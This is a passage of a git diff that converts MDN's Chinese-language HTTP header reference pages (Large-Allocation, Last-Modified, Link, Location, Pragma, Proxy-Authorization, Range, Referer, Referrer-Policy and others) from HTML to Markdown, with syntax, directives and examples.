    Firefox has moved to a multiprocess architecture, and this architecture is required in order to support the Large-Allocation header. Some legacy Addons can prevent Firefox from using this new, faster, multiprocess architecture. If you have one of these Addons installed, then we will continue to use the old single process architecuture for compatibility, and cannot handle the Large-Allocation header.
    -
    由于Large-Allocation头部,此页面应将被加载到新进程中,但是在非 Win32 平台上禁用此选项。
    -
    由于在 64 位系统里内存碎片不是问题,Firefox 只在 32 位系统支持Large-Allocation头部。如果你运行一个非 32 位的程序,这类信息就会出现。可以设置 about:config 里面的"dom.largeAllocation.forceEnable"布尔值来关闭此检查。
    -
    + - The document with the `Large-Allocation` header was loaded in an {{HTMLElement("iframe")}}. Firefox cannot move an iframe into a new process currently, so the document must load in the current process. + - The document with the `Large-Allocation` header was loaded in a window which was opened by {{domxref("window.open()")}}, `` or other similar methods without `rel="noopener"` or the `"noopener"` feature being set. These windows must remain in the same process as their opener, as they can communicate, meaning that we cannot allow them to switch processes. + - The document with the `Large-Allocation header` has opened another window with {{domxref("window.open()")}}, `` or other similar methods without `rel="noopener"` or the `"noopener"` feature being set. This is for the same reason as above, namely that they can communicate and thus we cannot allow them to switch processes. +- `Large-Allocation` 报头由于 文档在加载过程没有被加载而直接忽略 + - : Firefox has moved to a [multiprocess architecture](/zh-CN/docs/Mozilla/Firefox/Multiprocess_Firefox), and this architecture is required in order to support the `Large-Allocation` header. Some [legacy Addons](/zh-CN/docs/Mozilla/Add-ons/SDK) can prevent Firefox from using this new, faster, multiprocess architecture. If you have one of these Addons installed, then we will continue to use the old single process architecuture for compatibility, and cannot handle the `Large-Allocation` header. +- 由于`Large-Allocation`头部,此页面应将被加载到新进程中,但是在非 Win32 平台上禁用此选项。 + - : 由于在 64 位系统里内存碎片不是问题,Firefox 只在 32 位系统支持`Large-Allocation`头部。如果你运行一个非 32 位的程序,这类信息就会出现。可以设置 about:config 里面的"dom.largeAllocation.forceEnable"布尔值来关闭此检查。 -

    规范

    +## 规范 -

    现还不属于任何规范,可以通过这篇文档了解该头部的背后思想。

    +现还不属于任何规范,可以通过[这篇文档](https://gist.github.com/mystor/5739e222e398efc6c29108be55eb6fe3)了解该头部的背后思想。 -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat("http.headers.Large-Allocation")}}

    +{{Compat("http.headers.Large-Allocation")}} -

    参见

    +## 参见 - +- [WebAssembly](/zh-CN/docs/WebAssembly) diff --git a/files/zh-cn/web/http/headers/last-modified/index.md b/files/zh-cn/web/http/headers/last-modified/index.md index f4dafda6f6d180..2e31c999bfae57 100644 --- a/files/zh-cn/web/http/headers/last-modified/index.md +++ b/files/zh-cn/web/http/headers/last-modified/index.md @@ -5,72 +5,56 @@ tags: - 请求首部 translation_of: Web/HTTP/Headers/Last-Modified --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    The Last-Modified 是一个响应首部,其中包含源头服务器认定的资源做出修改的日期及时间。 它通常被用作一个验证器来判断接收到的或者存储的资源是否彼此一致。由于精确度比 {{HTTPHeader("ETag")}} 要低,所以这是一个备用机制。包含有 {{HTTPHeader("If-Modified-Since")}} 或 {{HTTPHeader("If-Unmodified-Since")}} 首部的条件请求会使用这个字段。

    +The **`Last-Modified`** 是一个响应首部,其中包含源头服务器认定的资源做出修改的日期及时间。 它通常被用作一个验证器来判断接收到的或者存储的资源是否彼此一致。由于精确度比 {{HTTPHeader("ETag")}} 要低,所以这是一个备用机制。包含有 {{HTTPHeader("If-Modified-Since")}} 或 {{HTTPHeader("If-Unmodified-Since")}} 首部的条件请求会使用这个字段。 - - - - - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | +| {{Glossary("Simple response header", "CORS-safelisted response-header")}} | yes | -

    语法

    +## 语法 -
    Last-Modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
    -
    +```plain +Last-Modified: , :: GMT +``` -

    指令

    +## 指令 -
    -
    <day-name>
    -
    "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一(区分大小写)。
    -
    <day>
    -
    两位数字表示的天数,例如"04" or "23"。
    -
    <month>
    -
    "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。
    -
    <year>
    -
    4 位数字表示的年份,例如 "1990" 或者"2016"。
    -
    <hour>
    -
    两位数字表示的小时数,例如 "09" 或者 "23"。
    -
    <minute>
    -
    两位数字表示的分钟数,例如"04" 或者 "59"。
    -
    <second>
    -
    两位数字表示的秒数,例如 "04" 或者 "59"。
    -
    GMT
    -
    -

    国际标准时间。HTTP 中的时间均用国际标准时间表示,从来不使用当地时间。

    -
    -
    +- \ + - : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一(区分大小写)。 +- \ + - : 两位数字表示的天数,例如"04" or "23"。 +- \ + - : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。 +- \ + - : 4 位数字表示的年份,例如 "1990" 或者"2016"。 +- \ + - : 两位数字表示的小时数,例如 "09" 或者 "23"。 +- \ + - : 两位数字表示的分钟数,例如"04" 或者 "59"。 +- \ + - : 两位数字表示的秒数,例如 "04" 或者 "59"。 +- `GMT` + - : 国际标准时间。HTTP 中的时间均用国际标准时间表示,从来不使用当地时间。 -

    示例

    +## 示例 -
    Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
    -
    +```plain +Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("If-Modified-Since")}}
    • -
    • {{HTTPHeader("If-Unmodified-Since")}}
    • -
    • {{HTTPHeader("Etag")}}
    • -
    +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-Unmodified-Since")}} +- {{HTTPHeader("Etag")}} diff --git a/files/zh-cn/web/http/headers/link/index.md b/files/zh-cn/web/http/headers/link/index.md index 1c02609162d73b..154ea2edc041fc 100644 --- a/files/zh-cn/web/http/headers/link/index.md +++ b/files/zh-cn/web/http/headers/link/index.md @@ -3,43 +3,43 @@ title: Link slug: Web/HTTP/Headers/Link translation_of: Web/HTTP/Headers/Link --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    HTTP 实体报头 Link 提供了序列化 HTTP 头部链接的方法。它在语义上与 HTML 元素 {{HTMLElement("link")}} 相等。

    +HTTP 实体报头 **`Link`** 提供了序列化 HTTP 头部链接的方法。它在语义上与 HTML 元素 {{HTMLElement("link")}} 相等。 -

    语法

    +## 语法 -
    Link: < uri-reference >; param1=value1; param2="value2"
    +```plain +Link: < uri-reference >; param1=value1; param2="value2" +``` -
    -
    <uri-reference>
    -
    URI reference 必须要用 <>来关闭。
    -
    +- `` + - : URI reference 必须要用 `<` 和 `>`来关闭。 -

    参数

    +### 参数 -

    link 头部包含以 ; 分隔的参数,这些参数与 HTML 元素 {{HTMLElement("link")}} 的属性一致。

    +link 头部包含以 `;` 分隔的参数,这些参数与 HTML 元素 {{HTMLElement("link")}} 的属性一致。 -

    示例

    +## 示例 -

    URI 必须要用 <> 来关闭:

    +URI 必须要用 `<` 和 `> 来关闭:` -
    Link: <https://example.com>; rel="preload"
    +```http example-good +Link: ; rel="preload" +``` -
    Link: https://bad.example; rel="preload"
    +```http example-bad +Link: https://bad.example; rel="preload" +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 +{{Compat}} +## 参见 -

    {{Compat}}

    - -

    参见

    - -
      -
    • {{HTTPStatus(103, "103 Early Hints")}}
    • -
    +- {{HTTPStatus(103, "103 Early Hints")}} diff --git a/files/zh-cn/web/http/headers/location/index.md b/files/zh-cn/web/http/headers/location/index.md index df1ce897ed6626..e7b694f88831ca 100644 --- a/files/zh-cn/web/http/headers/location/index.md +++ b/files/zh-cn/web/http/headers/location/index.md @@ -7,63 +7,51 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Location --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Location 首部指定的是需要将页面重新定向至的地址。一般在响应码为 3xx 的响应中才会有意义。

    +**`Location`** 首部指定的是需要将页面重新定向至的地址。一般在响应码为 3xx 的响应中才会有意义。 -

    发送新请求,获取 Location 指向的新页面所采用的方法与初始请求使用的方法以及重定向的类型相关:

    +发送新请求,获取 Location 指向的新页面所采用的方法与初始请求使用的方法以及重定向的类型相关: -
      -
    • {{HTTPStatus("303")}} (See Also) 始终引致请求使用 {{HTTPMethod("GET")}} 方法,而,而 {{HTTPStatus("307")}} (Temporary Redirect) 和 {{HTTPStatus("308")}} (Permanent Redirect) 则不转变初始请求中的所使用的方法;
    • -
    • {{HTTPStatus("301")}} (Permanent Redirect) 和 {{HTTPStatus("302")}} (Found) 在大多数情况下不会转变初始请求中的方法,不过一些比较早的用户代理可能会引发方法的变更(所以你基本上不知道这一点)。
    • -
    +- {{HTTPStatus("303")}} (See Also) 始终引致请求使用 {{HTTPMethod("GET")}} 方法,而,而 {{HTTPStatus("307")}} (Temporary Redirect) 和 {{HTTPStatus("308")}} (Permanent Redirect) 则不转变初始请求中的所使用的方法; +- {{HTTPStatus("301")}} (Permanent Redirect) 和 {{HTTPStatus("302")}} (Found) 在大多数情况下不会转变初始请求中的方法,不过一些比较早的用户代理可能会引发方法的变更(所以你基本上不知道这一点)。 -

    状态码为上述之一的所有响应都会带有一个 Location 首部。

    +状态码为上述之一的所有响应都会带有一个 Location 首部。 -

    除了重定向响应之外, 状态码为 {{HTTPHeader("201")}} (Created) 的消息也会带有 Location 首部。它指向的是新创建的资源的地址。

    +除了重定向响应之外, 状态码为 {{HTTPHeader("201")}} (Created) 的消息也会带有 Location 首部。它指向的是新创建的资源的地址。 -

    LocationContent-Location是不同的,前者(Location )指定的是一个重定向请求的目的地址(或者新创建的文件的 URL),而后者( Content-Location)指向的是经过内容协商后的资源的直接地址,不需要进行进一步的内容协商。Location 对应的是响应,而 Content-Location 对应的是要返回的实体。

    +[`Location`](/zh-CN/docs/Web/HTTP/Headers/Location) 与 `Content-Location`是不同的,前者([`Location`](/zh-CN/docs/Web/HTTP/Headers/Location) )指定的是一个重定向请求的目的地址(或者新创建的文件的 URL),而后者( `Content-Location`)指向的是经过内容协商后的资源的直接地址,不需要进行进一步的内容协商。Location 对应的是响应,而 Content-Location 对应的是要返回的实体。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Location: <url>
    -
    +```plain +Location: +``` -

    指令

    +## 指令 -
    -
    <url>
    -
    相对地址(相对于要访问的 URL)或绝对地址。
    -
    +- \ + - : 相对地址(相对于要访问的 URL)或绝对地址。 -

    示例

    +## 示例 -
    Location: /index.html
    +```plain +Location: /index.html +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Content-Location")}}
    • -
    • 包含 Location 首部的响应状态码: {{HTTPStatus("201")}}, {{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}。
    • -
    +- {{HTTPHeader("Content-Location")}} +- 包含 `Location` 首部的响应状态码: {{HTTPStatus("201")}}, {{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}。 diff --git a/files/zh-cn/web/http/headers/pragma/index.md b/files/zh-cn/web/http/headers/pragma/index.md index dc090ff1bdb685..398a13d41520d3 100644 --- a/files/zh-cn/web/http/headers/pragma/index.md +++ b/files/zh-cn/web/http/headers/pragma/index.md @@ -7,60 +7,43 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Pragma --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Pragma 是一个在 HTTP/1.0 中规定的通用首部,这个首部的效果依赖于不同的实现,所以在“请求 - 响应”链中可能会有不同的效果。它用来向后兼容只支持 HTTP/1.0 协议的缓存服务器,那时候 HTTP/1.1 协议中的 Cache-Control 还没有出来。

    +**`Pragma`** 是一个在 HTTP/1.0 中规定的通用首部,这个首部的效果依赖于不同的实现,所以在“请求 - 响应”链中可能会有不同的效果。它用来向后兼容只支持 HTTP/1.0 协议的缓存服务器,那时候 HTTP/1.1 协议中的 Cache-Control 还没有出来。 -
    -

    注意:由于 Pragma 在 HTTP 响应中的行为没有确切规范,所以不能可靠替代 HTTP/1.1 中通用首部 Cache-Control,尽管在请求中,假如 Cache-Control 不存在的话,它的行为与 Cache-Control: no-cache 一致。建议只在需要兼容 HTTP/1.0 客户端的场合下应用 Pragma 首部。

    -
    +> **备注:** 由于 Pragma 在 HTTP 响应中的行为没有确切规范,所以不能可靠替代 HTTP/1.1 中通用首部 Cache-Control,尽管在请求中,假如 Cache-Control 不存在的话,它的行为与 Cache-Control: no-cache 一致。建议只在需要兼容 HTTP/1.0 客户端的场合下应用 Pragma 首部。 - - - - - - - - - - - - - - - -
    Header type{{Glossary("General header")}}, but response behavior is not specified and thus implementation-specific.
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
    +| Header type | {{Glossary("General header")}}, but response behavior is not specified and thus implementation-specific. | +| ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------ | +| {{Glossary("Forbidden header name")}} | no | +| {{Glossary("Simple response header", "CORS-safelisted response-header")}} | yes | -

    语法

    +## 语法 -
    Pragma: no-cache
    -
    +```plain +Pragma: no-cache +``` -

    指令

    +## 指令 -
    -
    no-cache
    -
    -

    与 Cache-Control: no-cache 效果一致。强制要求缓存服务器在返回缓存的版本之前将请求提交到源头服务器进行验证。

    -
    -
    +- no-cache + - : 与 Cache-Control: no-cache 效果一致。强制要求缓存服务器在返回缓存的版本之前将请求提交到源头服务器进行验证。 -

    示例

    +## 示例 -
    Pragma: no-cache
    +```plain +Pragma: no-cache +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Cache-Control")}}
    • -
    • {{HTTPHeader("Expires")}}
    • -
    +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Expires")}} diff --git a/files/zh-cn/web/http/headers/proxy-authenticate/index.md b/files/zh-cn/web/http/headers/proxy-authenticate/index.md index a9f4a21cf835c5..273394050aff81 100644 --- a/files/zh-cn/web/http/headers/proxy-authenticate/index.md +++ b/files/zh-cn/web/http/headers/proxy-authenticate/index.md @@ -7,56 +7,45 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Proxy-Authenticate --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    The HTTP Proxy-Authenticate 是一个响应首部,指定了获取 {{Glossary("proxy server")}}(代理服务器)上的资源访问权限而采用的身份验证方式。代理服务器对请求进行验证,以便它进一步传递请求。

    +The HTTP **`Proxy-Authenticate`** 是一个响应首部,指定了获取 {{Glossary("proxy server")}}(代理服务器)上的资源访问权限而采用的身份验证方式。代理服务器对请求进行验证,以便它进一步传递请求。 -

    Proxy-Authenticate 首部需要与 {{HTTPStatus("407")}} Proxy Authentication Required 响应一起发送。

    +`Proxy-Authenticate `首部需要与 {{HTTPStatus("407")}} `Proxy Authentication Required 响应一起发送。` - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Proxy-Authenticate: <type> realm=<realm>
    -
    +```plain +Proxy-Authenticate: realm= +``` -

    指令

    +## 指令 -
    -
    <type>
    -
    身份验证类型。一个常见的类型是 "基本验证"。IANA 机构维护了 一系列的身份验证机制
    -
    realm=<realm>
    -
    对于被保护区域(即安全域)的描述。如果没有指定安全域,客户端通常用一个格式化的主机名来代替。
    -
    +- \ + - : [身份验证类型](/zh-CN/docs/Web/HTTP/Authentication#Authentication_schemes)。一个常见的类型是 ["基本验证"。](/zh-CN/docs/Web/HTTP/Authentication#Basic_authentication_scheme)IANA 机构维护了 [一系列的身份验证机制](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml)。 +- realm=\ + - : 对于被保护区域(即安全域)的描述。如果没有指定安全域,客户端通常用一个格式化的主机名来代替。 -

    示例

    +## 示例 -
    Proxy-Authenticate: Basic
    +```plain
    +Proxy-Authenticate: Basic
     
     Proxy-Authenticate: Basic realm="Access to the internal site"
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    相关内容

    +## 相关内容 -
      -
    • HTTP authentication
    • -
    • {{HTTPHeader("Authorization")}}
    • -
    • {{HTTPHeader("Proxy-Authorization")}}
    • -
    • {{HTTPHeader("WWW-Authenticate")}}
    • -
    • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
    • -
    +- [HTTP authentication](/zh-CN/docs/Web/HTTP/Authentication) +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/zh-cn/web/http/headers/proxy-authorization/index.md b/files/zh-cn/web/http/headers/proxy-authorization/index.md index b24a1ee8f79c29..66d8fff24d9dcd 100644 --- a/files/zh-cn/web/http/headers/proxy-authorization/index.md +++ b/files/zh-cn/web/http/headers/proxy-authorization/index.md @@ -7,60 +7,46 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Proxy-Authorization --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Proxy-Authorization 是一个请求首部,其中包含了用户代理提供给代理服务器的用于身份验证的凭证。这个首部通常是在服务器返回了 {{HTTPStatus("407")}} Proxy Authentication Required 响应状态码及 {{HTTPHeader("Proxy-Authenticate")}} 首部后发送的。

    +**`Proxy-Authorization`** 是一个请求首部,其中包含了用户代理提供给代理服务器的用于身份验证的凭证。这个首部通常是在服务器返回了 {{HTTPStatus("407")}} `Proxy Authentication Required` 响应状态码及 {{HTTPHeader("Proxy-Authenticate")}} 首部后发送的。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Proxy-Authorization: <type> <credentials>
    +```plain +Proxy-Authorization: +``` -

    指令

    +## 指令 -
    -
    <type>
    -
    身份验证类型。一个常见的类型是 "基本验证"。IANA 机构维护了 一系列的身份验证机制
    -
    <credentials>
    -
    凭证的构成方式如下: -
      -
    • 将用户名和密码用冒号拼接(aladdin:opensesame)。
    • -
    • 将拼接生成的字符串使用 base64 编码方式进行编码(YWxhZGRpbjpvcGVuc2VzYW1l)。
    • -
    +- \ + - : [身份验证类型](/zh-CN/docs/Web/HTTP/Authentication#Authentication_schemes)。一个常见的类型是 ["基本验证"。](/zh-CN/docs/Web/HTTP/Authentication#Basic_authentication_scheme)IANA 机构维护了 [一系列的身份验证机制](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml)。 +- \ + - : 凭证的构成方式如下: -
    -

    注意: Base64 编码方式不是用来加密或者获取摘要的!这种方法的安全性相当于将凭证使用明文发送(base64 是一种可逆编码方式)。在使用基本身份验证方式的时候推荐与 HTTPS 搭配使用。

    -
    -
    -
    + - 将用户名和密码用冒号拼接(aladdin:opensesame)。 + - 将拼接生成的字符串使用 [base64](/zh-CN/docs/Web/API/WindowBase64/Base64_encoding_and_decoding) 编码方式进行编码(YWxhZGRpbjpvcGVuc2VzYW1l)。 -

    示例

    + > **备注:** Base64 编码方式不是用来加密或者获取摘要的!这种方法的安全性相当于将凭证使用明文发送(base64 是一种可逆编码方式)。在使用基本身份验证方式的时候推荐与 HTTPS 搭配使用。 -
    Proxy-Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
    -
    +## 示例 -

    规范

    +```plain +Proxy-Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +``` + +## 规范 {{Specifications}} -

    相关内容

    +## 相关内容 -
      -
    • HTTP authentication
    • -
    • {{HTTPHeader("Proxy-Authenticate")}}
    • -
    • {{HTTPHeader("WWW-Authenticate")}}
    • -
    • {{HTTPHeader("Authorization")}}
    • -
    • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
    • -
    +- [HTTP authentication](/zh-CN/docs/Web/HTTP/Authentication) +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Authorization")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/zh-cn/web/http/headers/range/index.md b/files/zh-cn/web/http/headers/range/index.md index 1ae2edbb21bfc9..5428d269b0d319 100644 --- a/files/zh-cn/web/http/headers/range/index.md +++ b/files/zh-cn/web/http/headers/range/index.md @@ -8,63 +8,53 @@ tags: - 请求首部 translation_of: Web/HTTP/Headers/Range --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    The Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 {{HTTPStatus("206")}} Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 {{HTTPStatus("416")}} Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 {{HTTPStatus("200")}} 。

    +The **`Range`** 是一个请求首部,告知服务器返回文件的哪一部分。在一个 `Range` 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 {{HTTPStatus("206")}} `Partial Content` 状态码。假如所请求的范围不合法,那么服务器会返回 {{HTTPStatus("416")}} `Range Not Satisfiable` 状态码,表示客户端错误。服务器允许忽略 `Range` 首部,从而返回整个文件,状态码用 {{HTTPStatus("200")}} 。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Range: <unit>=<range-start>-
    -Range: <unit>=<range-start>-<range-end>
    -Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>
    -Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end>
    +```plain +Range: =- +Range: =- +Range: =-, - +Range: =-, -, - +``` -

    指令

    +## 指令 -
    -
    <unit>
    -
    范围所采用的单位,通常是字节(bytes)。
    -
    +- \ + - : 范围所采用的单位,通常是字节(bytes)。 -
    -
    <range-start>
    -
    一个整数,表示在特定单位下,范围的起始值。
    -
    <range-end>
    -
    一个整数,表示在特定单位下,范围的结束值。这个值是可选的,如果不存在,表示此范围一直延伸到文档结束。
    -
    + -

    示例

    +- \ + - : 一个整数,表示在特定单位下,范围的起始值。 +- \ + - : 一个整数,表示在特定单位下,范围的结束值。这个值是可选的,如果不存在,表示此范围一直延伸到文档结束。 -
    Range: bytes=200-1000, 2000-6576, 19000-
    -
    +## 示例 -

    规范

    +```plain +Range: bytes=200-1000, 2000-6576, 19000- +``` + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("If-Range")}}
    • -
    • {{HTTPHeader("Content-Range")}}
    • -
    • {{HTTPHeader("Content-Type")}}
    • -
    • {{HTTPStatus("206")}} Partial Content
    • -
    • {{HTTPStatus("416")}} Range Not Satisfiable
    • -
    +- {{HTTPHeader("If-Range")}} +- {{HTTPHeader("Content-Range")}} +- {{HTTPHeader("Content-Type")}} +- {{HTTPStatus("206")}} `Partial Content` +- {{HTTPStatus("416")}} `Range Not Satisfiable` diff --git a/files/zh-cn/web/http/headers/referer/index.md b/files/zh-cn/web/http/headers/referer/index.md index cd6629ca128eb9..dc064a3b747b42 100644 --- a/files/zh-cn/web/http/headers/referer/index.md +++ b/files/zh-cn/web/http/headers/referer/index.md @@ -7,65 +7,49 @@ tags: - 请求头 translation_of: Web/HTTP/Headers/Referer --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。

    +**`Referer`** 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 `Referer` 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。 -

    需要注意的是 referer 实际上是 "referrer" 误拼写。参见 HTTP referer on Wikipedia(HTTP referer 在维基百科上的条目)来获取更详细的信息。

    +需要注意的是 referer 实际上是 "referrer" 误拼写。参见 [HTTP referer on Wikipedia](https://zh.wikipedia.org/wiki/HTTP_referer)(HTTP referer 在维基百科上的条目)来获取更详细的信息。 -
    -

    Referer 请求头可能暴露用户的浏览历史,涉及到用户的隐私问题。

    -
    +> **警告:** `Referer` 请求头可能暴露用户的浏览历史,涉及到用户的隐私问题。 -

    在以下两种情况下,Referer 不会被发送:

    +在以下两种情况下,`Referer` 不会被发送: -
      -
    • 来源页面采用的协议为表示本地文件的 "file" 或者 "data" URI;
    • -
    • -

      当前请求页面采用的是非安全协议,而来源页面采用的是安全协议(HTTPS)。

      -
    • -
    +- 来源页面采用的协议为表示本地文件的 "file" 或者 "data" URI; +- 当前请求页面采用的是非安全协议,而来源页面采用的是安全协议(HTTPS)。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Referer: <url>
    -
    +```plain +Referer: +``` -

    指令

    +## 指令 -
    -
    <url>
    -
    当前页面被链接而至的前一页面的绝对路径或者相对路径。不包含 URL fragments (例如 "#section") 和 userinfo (例如 "https://username:password@example.com/foo/bar/" 中的 "username:password" )。
    -
    +- \ + - : 当前页面被链接而至的前一页面的绝对路径或者相对路径。不包含 URL fragments (例如 "#section") 和 userinfo (例如 "https\://username:password\@example.com/foo/bar/" 中的 "username:password" )。 -

    示例

    +## 示例 -
    Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript
    +```plain +Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- [HTTP referer on Wikipedia](https://zh.wikipedia.org/wiki/HTTP_referer) +- {{HTTPHeader("Referrer-Policy")}} diff --git a/files/zh-cn/web/http/headers/referrer-policy/index.md b/files/zh-cn/web/http/headers/referrer-policy/index.md index 411a55e228a2d8..6e6c1ed28ba1c8 100644 --- a/files/zh-cn/web/http/headers/referrer-policy/index.md +++ b/files/zh-cn/web/http/headers/referrer-policy/index.md @@ -10,26 +10,18 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Referrer-Policy --- -
    Referrer-Policy 首部用来监管哪些访问来源信息——会在 {{HTTPHeader("Referer")}} 中发送——应该被包含在生成的请求当中。
    - - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -

    注意 {{HTTPHeader("Referer")}} 实际上是单词 "referrer" 的错误拼写。Referrer-Policy 这个首部并没有延续这个错误拼写。

    - -
    Referrer-Policy: no-referrer
    +**`Referrer-Policy`** 首部用来监管哪些访问来源信息——会在 {{HTTPHeader("Referer")}} 中发送——应该被包含在生成的请求当中。
    +
    +| Header type                                      | {{Glossary("Response header")}} |
    +| ------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}} | no                                       |
    +
    +## 语法
    +
    +注意 {{HTTPHeader("Referer")}} 实际上是单词 "referrer" 的错误拼写。`Referrer-Policy` 这个首部并没有延续这个错误拼写。
    +
    +```plain
    +Referrer-Policy: no-referrer
     Referrer-Policy: no-referrer-when-downgrade
     Referrer-Policy: origin
     Referrer-Policy: origin-when-cross-origin
    @@ -37,210 +29,112 @@ Referrer-Policy: same-origin
     Referrer-Policy: strict-origin
     Referrer-Policy: strict-origin-when-cross-origin
     Referrer-Policy: unsafe-url
    -
    - -

    指令

    - -
    -
    no-referrer
    -
    整个 {{HTTPHeader("Referer")}} 首部会被移除。访问来源信息不随着请求一起发送。
    -
    no-referrer-when-downgrade(默认值)
    -
    在没有指定任何策略的情况下用户代理的默认行为。在同等安全级别的情况下,引用页面的地址会被发送 (HTTPS->HTTPS),但是在降级的情况下不会被发送 (HTTPS->HTTP)。
    -
    origin
    -
